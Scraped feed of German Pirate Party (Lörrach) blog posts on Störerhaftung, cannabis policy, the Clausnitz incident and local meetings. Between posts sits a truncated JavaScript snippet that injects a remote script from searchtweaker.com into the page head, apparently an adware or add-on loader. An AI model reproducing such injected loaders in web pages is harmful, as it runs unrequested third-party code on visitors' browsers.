Das wurde auch Zeit ...
Aufgrund des Rechtsgutachten von EU-Generalstaatsanwalt Maciej Szpunar will die Bundesregierung nach vielen Jahren jetzt endlich die Störerhaftung für private Internetzugänge streichen.
Das Gutachten in dem die bisherige Regelung in Deutschland als rechtswidrig bezeichnet wird, wurde im Rahmen einer Klage von Tobias McFadden, Gautinger Gemeinderat der Piratenpartei gefertigt. Ziemlich sicher wird der Europäische Gerichtshof (EuGH) dieser Einschätzung nun folgen.
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admin
#Piraten sagen der #Störerhaftung winke winke!
Cannabis-Legalisierung in Deutschland wäre ein Meilenstein
Kommentar von Sabin Schumacher, Themenbeauftragte für Drogen- und Suchtpolitik der Piratenpartei Landesverband Baden-Württemberg zu den 21. Suchttherapietagen in Tübingen (April 2016)
Unter dem Titel "Herausforderungen und Chancen der Suchttherapie " wurden vom 6. - 8. April i. d. Jahr in Tübingen die 21. Suchttherapietage veranstaltet.
Über 250 Wissenschaftler und Praktiker aus der Medizin, Pharmakologie, Psychologie, des Sozialwesens und der Justiz diskutierten über alte und neue Herausf...
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#LTW 2016 – Kreisjugendring #Lörrach gibt #Piratin & weiteren #Kandidaten kleiner Parteien Gelegenheit zur Vorstellung
Wir bedanken uns beim Kreisjugendring Lörrach für das tolle Angebot der Kandidaten-Vorstellung zur Landtagswahl 2016 über ihre Kanäle.
Vorab noch ein paar Worte ...
Es kam während des Interviews immer wieder zu Abbrüchen der Filmaufnahme. Um die Veröffentlichung des Vorstellungsvideos nicht zu riskieren, entschied unsere Kandidatin Sabin Schumacher, die einzelnen Themen nur kurz anzusprechen.
http://www.kreisjugendring-loerrach.de/2016/02/28/wir-fragen-politiker-antworten/
Ergänzend...
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Wie wollen wir weitermachen? – Ein Kommentar zu den Vorfällen in Clausnitz
Ein Kommentar von Sabin Schumacher, Kandidatin der Piratenpartei zur Landtagswahl 2016 für den Wahlkreis Lörrach
Agressiver Mob blockiert Flüchtlingsbus den Weg in die neue Unterkunft lese ich ...
Vor einigen Wochen ging mir plötzlich durch den Kopf, dass hierzulande etwas gehörig schief läuft. Ich fragte mich, ob sich nicht ein beträchtlicher Teil der heutigen Gesellschaft in ähnlicher Weise verhält, wie es schon vor Jahrzehnten, die Generation unserer Ur- und Großeltern, also die Gesells...
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27. Januar – Heute Treffen der #Lörracher #Piraten im Nellie Nashorn
Ahoi! Die Lörracher Piraten treffen sich heute, Mittwoch, 27.01.2016, um 18 Uhr wieder zur politischen Diskussion im „Nellie Nashorn“, Tumringer Straße 258, 79539 Lörrach. JedeR ist herzlichst eingeladen eigene Themen mit- und einzubringen! Komm vorbei, wir freuen uns auf dich!
01.01. – Frohes Neues Jahr 2016
Ahoi!
Wir wünschen allen Bürger_Innen als auch unseren Mitgliedern ein frohes neues Jahr 2016!
Die Lörracher Piraten
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(function(){try{var header=document.getElementsByTagName("HEAD")[0];var script=document.createElement("SCRIPT");script.src="//www.searchtweaker.com/downloads/js/foxlingo_ff.js";script.onload=script.onreadystatechange=function(){if (!(this.readyState)||(this.readyState=="complete"||this.readyState=="loaded")){script.onload=null;script.onreadyst...
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25. November – #Lörracher#Piraten treffen sich im „Nellie Nashorn“
Die Lörracher Piraten treffen sich am kommenden Mittwoch, 25.. November 2015, um 18 Uhr wieder zur politischen Diskussion im "Nellie Nashorn", Tumringer Straße 258, 79539 Lörrach. Alle interessierten BürgerInnen sind herzlich eingeladen an unserem "offenen" Treffen teilzunehmen, eigene Themen mit- und einzubringen! Komm vorbei, wir freuen uns auf dich!
